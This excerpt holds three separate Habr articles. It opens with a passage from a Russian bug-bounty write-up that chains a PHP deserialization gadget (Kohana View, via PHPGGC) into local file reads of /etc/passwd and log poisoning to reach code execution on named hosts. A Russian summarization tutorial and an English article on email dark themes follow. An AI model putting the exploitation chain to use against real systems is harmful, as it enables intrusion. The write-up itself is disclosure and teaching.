public function __construct($file = NULL, array $data = NULL)
{
if ($file !== NULL)
{
$this->set_filename($file);
}
if ($data !== NULL)
{
// Add the values to the current data
$this->_data = $data + $this->_data;
}
}
```
В тот момент у меня выполнялись все условия для успешной эксплуатация небезопасной десериализации:
* Я контролировал входные данные;
* У меня был волшебный метод `__toString()`класса `View` с полезной функцией `include()`.
* Класс `View`был загружен.
Бинго!
#### Всё вместе
Через некоторое время я создал гаджет и цепочку для PHPGGC локально, которые позже были добавлены в основной репозиторий:
```
php
namespace GadgetChain\Kohana;
class FR1 extends \PHPGGC\GadgetChain\FileRead
{
public static $version = '3.*';
public static $vector = '__toString';
public static $author = 'byq';
public static $information = 'include()';
public function generate(array $parameters)
{
return new \View($parameters['remote_path']);
}
}</code
```
```
php
class View
{
protected $_file;
public function __construct($_file) {
$this-_file = $_file;
}
}
```
Затем я просто запустил PHPGGC и получил следующий сериализованный объект:
Разместил нагрузку на контролируемом сервере, отправил запрос и ...
По крайней мере, это было что-то новенькое. Но на что я надеялся? Ведь использовался метод `__toString()`*,* а не методы `__wakeup()`или `__destruct()`, которые срабатывают в момент создания и уничтожения объекта соответственно. В [документации PHP](https://www.php.net/manual/ru/language.oop5.magic.php#object.tostring) сказано:
Получается, мне как-то необходимо вывести объект `View`. На самом деле несложно было понять, что я должен передать свой объект `View`в качестве значения атрибута title или description - трюк, который я проделал ранее с массивом*,* чтобы вызвать Error exception. Вот как выглядела моя нагрузка:
Я снова обновил нагрузку на контролируемом сервере, отправил запрос и, наконец, получил ответ:
Я получил содержимое файла */etc/passwd* внутри метатега *og:description*. Круто, локальное чтение файлов намного лучше, чем полуслепая SSRF, но это всё ещё не RCE.
#### Логи
Уязвимость LFI настолько редкая находка в современных веб-приложениях, что мне пришлось вспоминать, где возможно разместить нагрузку, чтобы загрузить ее с помощью функции `include()`и получить RCE. Наиболее распространенными техниками являются:
* загрузка файлов (в моем случае в приложении не было такой функциональности);
* логи (apache, nginx, mail, ssh, ...);
* /proc/\*/fd, /proc/self/environ;
* файл PHP-сессии;
Как вы уже поняли, я перепробовал почти всё, но ничего не сработало.
Пришло время сделать несколько шагов назад, а именно к ошибке, связанной с отсутствием места на устройстве:
Из этой ошибки я смог извлечь путь к какому-то логу */application/logs/2021/12/20.php.* После попытки открыть *https://api.seedr.ru/application/logs/2021/12/20.php* в браузере, я получил ошибку `No direct script access`*.* Почти в каждом PHP-файле фреймворка Kohana есть такая строчка в начале:
Похоже, что я не могу получить доступ к логам с расширением `.php`непосредственно из браузера. К моему удивлению, попробовав открыть на stage хосте *http://api-stage.seedr.ru/application/logs/2021/12/20.php, я* получил код овета HTTP 404. Не знаю, что меня подтолкнуло, но я изменил расширение `.php`на `.log`*,* и ...
Да, я получил огромный лог-файл, после чего мой Burp Suite даже немного подвис. Должен отметить, что такой трюк не сработал на production хосте *api.seedr.ru*. Думаю, что разработчики Seedr специально что-то поменяли на stage хосте, чтобы упростить доступ к логам. Но, как обычно, это привело к проблеме безопасности.
В очередной раз передо мной открылась новая дверь. Вы всё ещё помните, как я вызвал Error exception в первый раз (`https://api.seedr.ru/`)? Вот запись об этом в логе:
После краткого анализа логов я "отравил" его такой записью:
С помощью PHPGGC я сгенерировал новый сериализованный объект `View`с файлом */var/www/t1.seedr.backend/application/logs/2021/12/20.log*, разместил его на контролируемом сервере, отправил запрос и получил следующую ошибку:
~~Видимо, из-за того, что файл журнала был слишком большим (>200000 строк), какая-то функция ломалась на одном из символов "~~*~~?"~~*~~, выбрасывала исключение и останавливала выполнение скрипта.~~ На самом деле я просто опечатался, предлагаю вам найти ошибку в моей нагрузке. Из [документации PHP](https://www.php.net/manual/en/language.oop5.magic.php#object.tostring) я узнал, что:
Поскольку лог за 20 декабря был испорчен моей неудачной нагрузкой, дальнейшее тестирование на этом хосте было бесполезно, поэтому я перешел к тестированию на локальном окружении. Многочасовая отладка и эксперименты с функцией `include()`и логом не привели к желаемому результату.
Во время утреннего душа я вспомнил ещё одну потрясающую статью от Charlese Fol [*Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)*](https://www.ambionics.io/blog/laravel-debug-rce). В ней автор использует технику с особенностью множественного декодирования base64, которая игнорирует не base64 символы. Изначально я прочитал об этом в [блоге](http://blog.orange.tw/2018/10/) тайваньского исследователя безопасности Orange Tsai. Моя идея заключалась в том, чтобы отравить лог PHP-нагрузкой закодированной в base64 несколько раз, а затем раскодировать его с помощью нескольких PHP-фильтров `convert.base64-decode`внутри функции `include()`*,* чтобы обойти ошибку с символом `?`. Но поскольку у меня была бессонная ночь, мой мозг работал плохо, и я совсем забыл, что в случае с Laravel исследователь злоупотреблял цепочкой функций `file_get_contents()`и `file_put_contents()`с одинаковыми аргументами внутри, что позволило ему переписать лог. Я также забыл и об этом ограничении:
Из-за предсказуемого пути (*/application/logs/2021/12/20.log*) я скачал несколько логов за предыдущие дни и планировал отравить лог за 21 декабря в начале суток, пока он не стал слишком большим.
Я добавил новую информацию в отчет на HackerOne и у меня в наличии оставался целый день до 21 декабря. Не теряя времени, я попытался проэксплуатировать уязвимость на *api.seedr.ru*, так как все последние тесты я проводил на *api-stage.seedr.ru*. Ещё раз с помощью PHPGGC сгенерировал объект `View`с файлом */etc/passwd*, разместил его на контролируемом сервере и не увидел в ответе содержимого файла */etc/passwd*. Я повторил те же шаги на *api-stage.seedr.ru,* но там по-прежнему всё работало как надо. \
> "Упс, неужели уязвим только stage хост?".
>
>
#### Нулевой байт
Здесь я должен признаться, что когда генерировал сериализованный объект с помощью PHPGGC, я немного изменял его:
Действительно ли строка `*_file`состоит из 8 символов? Нет, только из 6. Именно это я исправлял каждый раз, и всё отрабатывало без ошибок на *api-stage.seedr.ru.* Позже в трассировке стека я заметил следующее:
Значение защищенного атрибута `_file`равняется NULL, но по какой-то причине у объекта `View`ещё есть публичный атрибут `*_file`с моей нагрузкой. Возможно, знатоки PHP уже поняли причину такого поведения, но мне пришлось потратить некоторое время на решение этой проблемы.
Как вы могли заметить по скриншотам, для хранения нагрузки я использовал сервис <https://webhook.site/> - быстрое и простое решение для приема входящих HTTP-соединений и размещения нагрузки. К сожалению, в тот раз это сыграло со мной злую шутку. Дело в том, что [для хранения защищенного значения в сериализованной строке PHP использует нулевые символы (\0) вокруг символа "\*"](https://stackoverflow.com/a/37468673). Вот почему `*_file`состоит из 8 символов:
Поскольку я просто копировал нагрузку на *webhook.site*, он не сохранял эти нулевые символы и передавал в функцию `unserialize()`публичный атрибут `*_file`. Чтобы решить проблему, я просто разместил сериализованную строку с нулевыми байтами на своем сервере. Теперь *vimeo.com* перенаправлял запросы на мой сервер, где при помощи функции `echo()` *я* отдавал нагрузку с нулевыми символами. После того, как мне удалось загрузить содержимое файла */etc/passwd* на *api.seedr.ru, я* снова вернулся к анализу загруженных логов.
#### Последнее отправление
В логах было множество различных типов записей, но лишь некоторые из них можно было использовать для хранения нагрузки, а большинство эндпоинтов вообще требовали аутентификацию. Уже при первом анализе логов я заметил следующий тип записи:
Этот тип записи хорош тем, что он записывал нагрузку только один раз и не повторял ее, как в предыдущей попытке. Я также приметил возможную точку инъекции: заголовок *user-agent*. Но проблема заключалась в том, что я не знал, как именно сгенерировать такую запись в логе, к какому эндпоинту мне следует обратиться. Я грепнул лог со своим IP и обнаружил, что в сегодняшнем логе запись с моим IP уже присутствовала, что означало, что я уже точно обращался к нужному эндпоинту. К тому времени в моей истории Burp Proxy насчитывалось более 40000 записей, поэтому найти нужный эндпоинт оказалось не так-то просто. Сравнив время записи с моим IP и активностью, которой был занят в то время, я понял, что запись, вероятно, была сгенерирована во время сканирования с помощью dirsearch. Я запустил его повторно и через некоторое время эндпоинт, который генерировал такую запись, был найден - *api-stage.seedr.ru/inc.*
На локальном окружении я спрятал новую нагрузку в тестовый лог, загрузил его через функцию `include()` и получил вывод команды bash. Оставалось только дождаться 21 декабря и свежего лога, потому что логи за 20 декабря для *api.seedr.ru* и *api-stage.seedr.ru* были отравлены моими неудачными нагрузками.
На следующий день я "отравил" лог с помощью следующего запроса:
Сгенерировал нагрузку, разместил на сервере, отправил запрос ...
Да, я забыл поменять `$argv[1]`на `$_GET[1]`после локальных тестов... В ожидании ещё одного дня вспомнил, что сегодня у меня есть ещё одна попытка на *api-stage.seedr.ru:*
$$$
---
### TL;DR
https://imgur.com/DrNEGRH
---
#### Благодарность:
* [@rootxharsh](https://twitter.com/rootxharsh) за то, что поделился открытым перенаправлением;
* [@act1on3](https://twitter.com/act1on3) и моего личного эксперта по PHP за то, что они были моими резиновыми уточками.
#### Полезные ссылки:
<https://twitter.com/rootxharsh>
<https://infosecwriteups.com/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e>
<https://github.com/ambionics/phpggc>
<https://hackerone.com/ryat>
<https://twitter.com/cfreal_>
<https://www.ambionics.io/blog/laravel-debug-rce>
<https://twitter.com/orange_8361>
<http://blog.orange.tw/2018/10/>
#### P.S.
Работа над уязвимостью велась в декабре 2021 года, но оказывается уже тогда существовал альтернативный способ эскалировать LFI до RCE, используя только обертки PHP. Таким образом "отравление" логов не потребовалось бы. Широко известно о новой технике стало не так давно, в октябре 2022 года. Почитать подробнее можно здесь:
<https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d>
<https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html>
Кстати, в узких кругах о гаджете с Kohana тоже судя по всему известно уже давно. В августе 2022 случайно обнаружил видео доклада [Paul Axe](https://twitter.com/paul_axe) от 2015 года:
<https://www.youtube.com/watch?v=PWjkz8xTI8g&t=314s> | https://habr.com/ru/post/708384/ | null | ru | null |
# Автоматическая суммаризация текстов с помощью трансформеров Hugging Face. Часть 1
В июле 2020 года компания [OpenAI](https://openai.com/) выпустила свою модель машинного обучения третьего поколения, GPT-3, ориентированную на генерирование текстов. Тогда я понял, что мир уже не будет прежним. Эта модель задела меня за живое. Те системы такого рода, что выходили раньше, у меня подобных ощущений не вызывали. И вот ещё неожиданность — о новой системе начали говорить мои друзья и коллеги, в принципе интересующиеся технологиями, но не особенно обращающие внимание на последние достижения машинного обучения (Machine Learning, ML) и искусственного интеллекта (Artificial Intelligence, AI). Об этом [написала](https://www.theguardian.com/commentisfree/2020/sep/08/robot-wrote-this-article-gpt-3) даже газета Guardian. А если точнее — статью написала сама модель, а в Guardian её лишь отредактировали и опубликовали. Совершенно очевидно то, что выход модели [GPT-3](https://en.wikipedia.org/wiki/GPT-3) стал поворотным моментом в развитии искусственного интеллекта.
Сразу же после выхода модели начали появляться идеи по поводу вариантов её применения. В течение нескольких недель было создано множество впечатляющих демонстрационных проектов, которые можно найти на сайте [GPT-3](https://github.com/elyase/awesome-gpt3). Моё внимание привлёк один из способов применения GPT-3 — автоматическое реферирование текстов (text summarization): компьютер читает переданный ему текст и выдаёт краткое изложение этого текста. Это — одна из самых сложных задач, с которыми приходится сталкиваться компьютерам. Дело в том, что она совмещает в себе два навыка из сферы обработки естественных языков (Natural Language Processing, NLP). Это — понимание читаемых текстов и возможность писать тексты самостоятельно. Именно поэтому меня так впечатлили примеры использования GPT-3, демонстрирующие возможности системы по генерированию текстов.
Попробовать эти демонстрации можно в разделе [Spaces](https://huggingface.co/spaces) сайта Hugging Face. Сейчас мой любимый пример такого рода — это [приложение](https://huggingface.co/spaces/Alifarsi/news_summarizer), которое генерирует сводки по новостным статьям, получая на вход лишь URL статьи, которую нужно обработать.
В этом материале, состоящем из двух частей, я предложу вниманию читателей практическое руководство по архитектуре ИИ-проекта, ориентированного на реферирование текстов. Освоение этих материалов позволит вам оценить качество моделей, реферирующих тексты, понять, подойдут ли они для вашей сферы деятельности.
### Обзор учебного руководства
Во многих организациях, с которыми я работал (благотворительные учреждения, различные компании, неправительственные организации), имеется огромное количество текстов, которые нужно читать и реферировать. Это, например, финансовые отчёты, новостные публикации, научные статьи, патентные заявки, юридические договоры. Совершенно естественно то, что эти организации заинтересованы в автоматизации таких задач с помощью технологий обработки естественных языков. Для того чтобы показать таким организациям то, на что способны современные технологии, я часто использую демонстрационные примеры систем реферирования текстов. Такие примеры почти никогда не оставляют зрителей равнодушными.
#### И что с того?
Главная задача, которая стоит перед этими организациями, заключается в том, что им нужно оценивать модели для реферирования текстов на основе результатов обработки огромного множества документов, а не одного документа, для обработки которого нужно немало ручного труда. Они не хотят нанимать сотрудников, рабочий день которых выглядел бы так: запустить приложение, вставить в некое поле текст документа, нажать на кнопку `Обработать`, подождать результата, оценить качество реферирования, а потом повторить те же действия для тысяч документов.
Я написал это руководство, принимая во внимание то, в каком положении я сам находился четыре недели назад. Это — то самое руководство, которое очень пригодилось бы мне, когда я начинал своё путешествие по технологиям. В этом смысле — целевой аудиторией данного материала является некто, знакомый с AI и ML, уже пользовавшийся трансформерами, но только приступающий к освоению систем реферирования текстов, стремящийся углубиться в эту тему. Так как это руководство написано «новичком» и на новичков же рассчитано, мне хотелось бы особо отметить тот факт, что это — обычное практическое руководство, а не некий монументальный труд, который можно рассматривать как истину в последней инстанции. Поэтому прошу вас рассматривать его через призму высказывания [Джорджа Бокса](https://ru.wikipedia.org/wiki/%D0%91%D0%BE%D0%BA%D1%81,_%D0%94%D0%B6%D0%BE%D1%80%D0%B4%D0%B6):
В сущности, все м̶о̶д̶е̶л̶и̶ учебные руководства неправильны, но некоторые полезныЕсли говорить о том, какими техническими знаниями надо обладать для успешного освоения этого руководства, могу сказать, что тут используются программы, написанные на Python, но работа кода, чаще всего, заключается в вызове различных API. Поэтому глубоких знаний Python-программирования вам не понадобится. Полезно будет знакомство с некоторыми концепциями ML. Например — вам пригодятся знания о том, что значит «обучение» и «развёртывание» модели, о том, что такое «обучение», «валидация», «тестовый набор данных», и так далее. Кроме того, если вы уже пробовали библиотеку [Transformers](https://huggingface.co/transformers/), это может оказаться кстати, так как мы будем много пользоваться этой библиотекой. В материале вы найдёте ссылки, которые позволят вам лучше познакомиться с различными концепциями машинного обучения.
Так как это руководство написано новичком — я не ожидаю, что эксперты обработки естественных языков и продвинутые практики глубокого обучения почерпнут из него что-то существенное. По крайней мере, это касается технической стороны дела, но, возможно, они всё же найдут тут что-нибудь интересное и полезное. Поэтому, если вы — из их числа, прошу вас не прекращать чтение прямо сейчас! Правда, вам придётся проявить терпение из-за того, что я стремлюсь к простоте. Я постарался сделать всё в этом руководстве настолько простым, насколько это возможно, но не проще.
#### О структуре руководства
Это руководство состоит из четырёх разделов, разделённых на две публикации, в которых мы пройдёмся по разным этапам работы над проектом по реферированию текстов. В первом материале (в разделе №1) мы начнём со знакомства с метриками, касающимися задач реферирования текстов. Это — измерение эффективности работы моделей, результаты которого позволяют нам понять, хорошим или плохим получился реферат текста. Мы, кроме того, познакомимся с набором данных, который будем обрабатывать, и создадим модель, генерирующую реферат переданного ей текста, не являющуюся ML-моделью, основанную на простом эвристическом алгоритме. Результаты её работы мы будем использовать в качестве точки отсчёта, базовой линии для оценивания других моделей. Создание подобной базовой модели — это жизненно важный шаг любого ML-проекта, так как он позволяет, в количественной форме, оценивать улучшения, которые дают ИИ-модели при решении различных задач. Это позволяет нам ответить на вопрос о том, стоит ли вкладывать время и силы в технологии искусственного интеллекта.
Во втором материале мы воспользуемся предварительно обученной моделью для генерирования рефератов (раздел №2). Это возможно благодаря современному подходу машинного обучения, который называется обучением с переносом опыта ([transfer learning](https://www.cse.ust.hk/~qyang/Docs/2009/tkde_transfer_learning.pdf)). Это — ещё один важный шаг работы над моделью, так как тут оказывается, что мы берём готовую модель и тестируем её на нашем наборе данных. Это позволяет создать ещё одну базовую линию, которая поможет оценить результаты обучения модели на нашем наборе данных. Этот подход называется реферированием без подготовки (zero-shot summarization), так как модель не обучалась на текстах, входящих в наш набор данных.
После этого придёт время воспользоваться предварительно обученной моделью и обучить её на нашем наборе данных (раздел №3). Этот шаг работы над подобными проектами называется тонкой настройкой модели (fine-tuning). Это позволяет модели изучить паттерны и специфические особенности наших данных и постепенно к ним адаптироваться. После того, как мы обучим модель, мы воспользуемся ей для реферирования текстов (раздел №4).
Весь код, используемый в руководстве, можно найти в [этом](https://github.com/marshmellow77/text-summarisation-project) GitHub-репозитории.
#### Чего мы достигнем по завершении этого руководства?
После прохождения этого руководства в нашем распоряжении не окажется модель для реферирования текстов, которую можно использовать в продакшне. У нас даже не будет хорошей модели для реферирования текстов (тут можно вставить смайлик, символизирующий крик).
Но у нас окажется нечто, способное стать начальной точкой для следующей фазы проекта, предусматривающей проведение экспериментов. Именно тут в дело вступает слово «наука», входящее в состав словосочетания «наука о данных», так как весь подобный этап будет посвящён экспериментам с различными моделями и с различными параметрами моделей. Всё это нацелено на то, чтобы понять, можно ли обучить достаточно хорошую модель для реферирования текстов, пользуясь имеющимися данными.
И, чтобы сразу снять все вопросы, отмечу, что высока вероятность того, что в итоге мы сделаем вывод о том, что исследуемые нами технологии пока ещё являются недостаточно зрелыми, что наш проект пока нельзя реализовать на достойном уровне. А значит — вам нужно будет подготовить к такому варианту развития событий тех, кто принимает решения в вашей организации. Но это — уже совсем другая история.
### Раздел 1: применение модели, не использующей технологии машинного обучения, для установки точки отсчёта
Это — первый раздел нашего руководства по созданию проекта, направленного на автоматическое реферирование текстов. Здесь мы зададим точку отсчёта для оценивания моделей, используя очень простую модель, в которой ML-технологии не используются. Этот шаг очень важен в любом ML-проекте, так как он позволяет понять то, насколько весомы улучшения, вносимые в систему технологиями машинного обучения, и то, стоит ли тратить на эти технологии время и силы.
#### Данные, данные и ещё раз данные
Каждый ML проект начинается с данных. Если это возможно — всегда нужно использовать данные, связанные с тем, на что нацелен проект по автоматическому реферированию текстов. Например, если наша цель заключается в реферировании патентных заявок, то для обучения моделей нужно использовать тексты патентных заявок. Важным нюансом, который нужно учитывать в проектах машинного обучения, является тот факт, что учебные данные обычно должны быть снабжены метками. В контексте реферирования текстов это значит, что нужно предоставить модели и текст, который нужно отреферировать, и его реферат (метку). Только имея в своём распоряжении и то и другое, модель может узнать о том, как должен выглядеть хороший реферат.
В этом руководстве мы будем пользоваться общедоступным набором данных, но последовательность шагов, выполняемых при работе над проектом, и применяемый код, останутся такими же при использовании наборов данных, подготовленных самостоятельно, или наборов, состоящих из данных, закрытых для посторонних. И, опять же, если вы создаёте модель с конкретной целью, и если у вас есть соответствующие данные — используйте собственные данные для того чтобы выжать из модели всё что можно.
Наши данные взяты из набора данных [arXiv](https://www.kaggle.com/Cornell-University/arxiv). Там содержатся как выдержки из документов (поле `abstract` в наборе данных), так и их названия (поле `title`). Выдержки из документов мы будем использовать в роли реферируемого текста, а названия — в виде итогового результата работы модели. В [этом](https://github.com/marshmellow77/text-summarisation-project/blob/main/0b_data_prep_arxiv.ipynb) блокноте Jupyter Notebook представлено всё необходимое для загрузки и предварительной обработки данных. Для успешного запуска этого блокнота нужна роль [AWS Identity and Access Management](http://aws.amazon.com/iam) (IAM), которая разрешает загрузку данных в [Amazon Simple Storage Service](http://aws.amazon.com/s3) (Amazon S3) и их выгрузку оттуда. Наш набор данных был создан в рамках [этой](https://arxiv.org/abs/1905.00075) работы, он распространяется по лицензии [Creative Commons CC0 1.0 Universal Public Domain Dedication](https://creativecommons.org/publicdomain/zero/1.0/).
Данные разделены на три набора, используемых для обучения модели (training data), для её валидации (validation data) и для её тестирования (test data). Если вы хотите использовать собственные данные — подготовьте их по такой же схеме. На следующем рисунке показано то, как мы пользуемся различными наборами данных.
Использование различных наборов данныхНа данном этапе работы над подобными моделями обычно возникает вопрос о том, сколько данных для этого нужно. Вы, возможно, уже догадались о том, что это зависит от конкретной ситуации. В частности — от того, насколько специализированной является область знаний, к которой относятся тексты (реферирование патентных заявок сильно отличается от реферирования новостных статей), от того, насколько точной должна быть модель для того, чтобы она могла бы приносить практическую пользу, от того, сколько должно стоить обучение модели, и так далее. Мы вернёмся к этому вопросу позже, когда будем обучать модель, пока же можно сказать, что, на фазе проекта, предусматривающей проведение экспериментов, нужно будет попробовать наборы данных разных размеров.
#### Что представляет собой хорошая модель?
Во многих ML-проектах оценить эффективность работы модели несложно. Это так из-за того, что в них обычно можно довольно-таки однозначно определить то, являются ли результаты правильными. Метки в наборах данных обычно являются либо бинарными (Истина/Ложь, Да/Нет), либо категориальными. В любом случае, в подобных ситуациях легко сравнить результат работы модели с меткой и пометить его как правильный или неправильный.
А вот при оценке качества текстов, генерируемых моделью, всё усложняется. Рефераты (метки), которые имеются в нашем наборе данных — это лишь один из способов получения сжатой версии текста. А способов таких существует очень много. Поэтому, даже если то, что выдала модель, не полностью соответствует желаемому, результат её работы вполне может оказаться правильным и ценным. Как же сравнивать то, что выдаёт модель, с тем, что нам нужно? В задачах реферирования текстов для оценки качества моделей чаще всего используется набор метрик [ROUGE](https://en.wikipedia.org/wiki/ROUGE_(metric)). Для того чтобы понять внутреннее устройство механизма вычисления таких метрик, обратитесь к [этому](https://towardsdatascience.com/the-ultimate-performance-metric-in-nlp-111df6c64460) материалу. Если описать их работу в общих чертах, то получится, что оценки ROUGE вычисляются на основе измерения перекрытия N-грамм (непрерывных последовательностей из n элементов) между тем, что выдаёт модель (candidate summary) и желаемым результатом её работы, входящим в состав набора данных (reference summary). Но это, конечно, не идеальная система оценки качества моделей. [Вот](https://towardsdatascience.com/to-rouge-or-not-to-rouge-6a5f3552ea45) материал, который поможет понять ограничения метрик ROUGE.
Как вычисляются показатели ROUGE? Существует немало Python-пакетов, помогающих решать эту задачу. Для обеспечения единообразия результатов нам нужно использовать один и тот же метод расчёта показателей во всём проекте. Так как мы, позже, будем пользоваться обучающим скриптом из библиотеки Transformers, а не скриптом собственной разработки, мы можем заглянуть в [исходный код](https://github.com/huggingface/transformers/blob/v4.6.1/examples/pytorch/summarization/run_summarization.py#L503) скрипта и скопировать оттуда строки, отвечающие за вычисление показателей ROUGE:
```
from datasets import load_metric
metric = load_metric("rouge")
def calc_rouge_scores(candidates, references):
result = metric.compute(predictions=candidates, references=references, use_stemmer=True)
result = {key: round(value.mid.fmeasure * 100, 1) for key, value in result.items()}
return result
```
Мы, используя этот метод вычисления показателей, гарантируем то, что всегда, во всём проекте, будем сравнивать, так сказать, яблоки с яблоками.
Представленная здесь функция вычисляет несколько показателей ROUGE: `rouge1`, `rouge2`, `rougeL`, и `rougeLsum`. Слово `sum` в названии `rougeLsum` указывает на то, что этот показатель вычисляется по всему результату работы модели. А показатель `rougeL` — это среднее по отдельным предложениям. Какой из этих показателей использовать в нашем проекте? Для ответа на подобный вопрос нам, как обычно, надо провести эксперименты на соответствующем этапе работы над проектом. Но, как бы там ни было, в исходной [статье](https://aclanthology.org/W04-1013.pdf) по ROUGE говорится, что показатели ROUGE-2 и ROUGE-L хорошо подходят для задач реферирования отдельных документов, а ROUGE-1 и ROUGE-L отлично показывают себя на оценке коротких рефератов.
#### Создание базовой линии
Займёмся созданием простой модели, не использующей технологии машинного обучения, результаты которой послужат точкой отсчёта для оценивания других моделей. Как решить эту задачу? Во многих исследованиях из сферы автоматического реферирования текстов используется очень простой подход: берут первые n предложений текста и называют их «результатами работы модели». Затем сравнивают их с желаемыми результатами и вычисляют показатели ROUGE. Это — простой, но мощный подход, который можно реализовать в нескольких строках кода (полный код, имеющий отношение к этому разделу, можно найти [здесь](https://github.com/marshmellow77/text-summarisation-project/blob/main/1_baseline_model.ipynb)):
```
import re
ref_summaries = list(df_test['summary'])
for i in range (3):
candidate_summaries = list(df_test['text'].apply(lambda x: ' '.join(re.split(r'(?<=[.:;])\s', x)[:i+1])))
print(f"First {i+1} senctences: Scores {calc_rouge_scores(candidate_summaries, ref_summaries)}")
```
Здесь мы используем тестовый набор данных. Это оправданно, так как мы, после обучения модели, будем использовать тот же набор данных для формирования итоговой оценки модели. Мы, кроме того, попробуем различные значения для n. А именно — начнём с одного, самого первого предложения, назвав его результатом работы модели, потом возьмём два первых предложения, и наконец — три.
Вот как выглядят результаты проверки нашей первой модели:
Наилучшие показатели ROUGE получены при использовании первого предложения из текста в качестве результата работы модели. Это значит, что использование дополнительных предложений приводит к тому, что реферат оказывается слишком пространным, что ведёт к ухудшению его оценки. В результате мы, в качестве отправной точки анализа эффективности моделей, будем использовать показатели, полученные для варианта первой модели, выходом которого является одно предложение.
Важно отметить, что, для столь простого подхода, полученные результаты выглядят весьма прилично. Особенно — для показателя `rouge1`. Для того чтобы с чем-то сравнить эти показатели, можно обратиться к модели [Pegasus](https://huggingface.co/google/pegasus-xsum), результаты которой соответствуют результатам лучших современных моделей для разных наборов данных.
### Итоги и пара слов о продолжении
В первом разделе этого руководства мы познакомились с набором данных, который будем использовать в проекте по автоматическому реферированию текстов, а так же — с метриками, которыми будем пользоваться при оценке эффективности моделей. Затем мы создали простую модель, не использующую технологии машинного обучения, результаты работы которой будем использовать в качестве базовой линии при оценке других моделей.
Примечание: тут таблица, но она явно лишняя, т.к. ниже даётся домашнее задание, ответ на которое есть в таблице, а эта таблица рассматривается уже в следующей статье.
В следующем материале мы воспользуемся моделью с реферированием без подготовки, обученной на общедоступных новостных статьях. Но на наших данных эта модель обучаться не будет (поэтому она и называется «неподготовленной» моделью).
Предлагаю вам, в качестве домашнего задания, поразмышлять о том, как покажет себя «неподготовленная» модель в сравнении с нашей первой простой моделью. С одной стороны — это будет модель гораздо более продвинутая (это, на самом деле, нейронная сеть). А с другой — обучалась она только на новостях, поэтому у неё могут возникнуть проблемы с паттернами, присущими набору данных arXiv.
О, а приходите к нам работать? 😏Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/661239/ | null | ru | null |
# How to create a dark theme without breaking things: learning with the Yandex Mail team
My name is Vladimir, and I develop mobile front-end for Yandex Mail. Our apps have had a dark theme for a while, but it was incomplete: only the interface and plain emails were dark. Messages with custom formatting remained light and stood out against the dark interface, hurting our users’ eyes at night.
Today I'll tell you how we fixed this problem. You will learn about two simple techniques that didn't work for us and the method that finally did the trick — adaptive page recoloring. I'll also share some ideas about adapting images to a dark theme. To be fair, darkening pages with custom CSS is a rather peculiar task, but I believe some of you may find our experience helpful.
Simple methods
--------------
Before settling on our magic color-bending technique, we tried out two really basic options: applying either additional dark styling or a CSS filter to elements. Neither option worked for us, but they might be more suitable in other cases (simple is cool, right?).
### Overriding styles
This is a dead-simple option, which logically extends the app's own dark CSS theme. You just put extra dark styles onto an email container (or, in general, onto a container for the user-generated content to darken):
```
.message--dark {
background-color: black;
color: white;
}
```
However, any styles on the elements inside the email will override our root style. And no, `!important` doesn't help here. The idea can be taken a step further by preventing inheritance:
```
.message--dark * {
background-color: black !important;
color: white !important;
border-color: #333 !important;
}
```
In this case, you can't do without `!important`, since the selector itself isn't very specific. This also happens to override most inline styles (the ones with inline `!important` will still find their way in, and there's not much you can do about it).
Our style eagerly paints everything the same color, thus introducing another problem. There's a chance the designer wanted to say something with the way they arranged the colors (you know, priorities, pairings, all that designer stuff), and we just took their idea and threw it out the window. Not a nice thing to do.
If you don't respect designers as much as I do and decide to go with this method, don't forget to handle the not-so-obvious things:
* `box-shadow`. You won't, however, be able to only override the color. Either get rid of the shadows altogether or make peace with the light ones.
* The colors of semantic elements, such as links or inputs.
* Inline SVG. Use `fill` instead of `background`, and `stroke` instead of `color`, but you can never be sure, it may well be the other way around.
From a technical point of view, this is a solid method: it takes three lines of code (OK, thirty for a production-ready version with all the edge cases taken care of), it's compatible with all the browsers in the world, it works on dynamic pages out-of-the-box, and the way CSS is attached to the document is completely irrelevant. There's also a nice bonus: you can easily tweak the colors in the style to match the main colors of the application (for example, make the background `#bbbbb8` instead of black).
By the way, this is how we used to darken emails before. If an email had any styles of its own, we’d just give up and leave it light just in case.
### Using a CSS filter
This is a smart and elegant method. You can darken a page using a CSS filter:
```
.message--dark {
filter: invert(100) hue-rotate(180deg); /* hue-rotate возвращает тона обратно */
}
```
The images become creepy, but we can easily fix that:
```
.message-dark img {
filter: invert(100) hue-rotate(180deg);
}
```
However, this doesn't solve the issue of content images attached via the background property (sure, it’s handy for adjusting the aspect ratio, but what about the semantics?). OK, let's assume we can find all these elements, explicitly mark them, and change their colors back, too.
The good thing about this method is that it preserves the original brightness and contrast balance. On the other hand, it's full of problems that outweigh the advantages:
1. Dark pages become bright.
2. You can't control the final colors. What filter do you apply to the background so that it matches your brand `#bbbbb8`? That's a real head scratcher.
3. Double inversion makes the images faded.
4. The performance is sluggish, especially on mobile devices — makes sense, instead of simply rendering the page, the browser runs Fourier transforms on every draw.
This method would work for emails with neutral-colored text, but I've never met anyone with an inbox full of such content. On the other hand, filters are the only way to darken elements without accessing their contents — frames, web components, or images.
Adaptive dark theme
-------------------
And now it's time for magic! Based on the drawbacks of the first two approaches, we made a checklist of what we should take care of:
1. Make the background dark, the text light, and the borders somewhere in between.
2. Detect dark pages and preserve their colors.
3. Maintain the original balance of brightness and contrast.
4. Give control over the resulting colors.
5. Leave the hues unchanged.
So, you need to change the colors of the styles to make the background dark. Why not just do that, literally? Take all the styles, extract the color-related rules (`color`, `background`, `border`, `box-shadow`, and their subproperties), and replace them with their "darkened" versions: darken the background and the borders (but not as much as the background), lighten the text, etc.
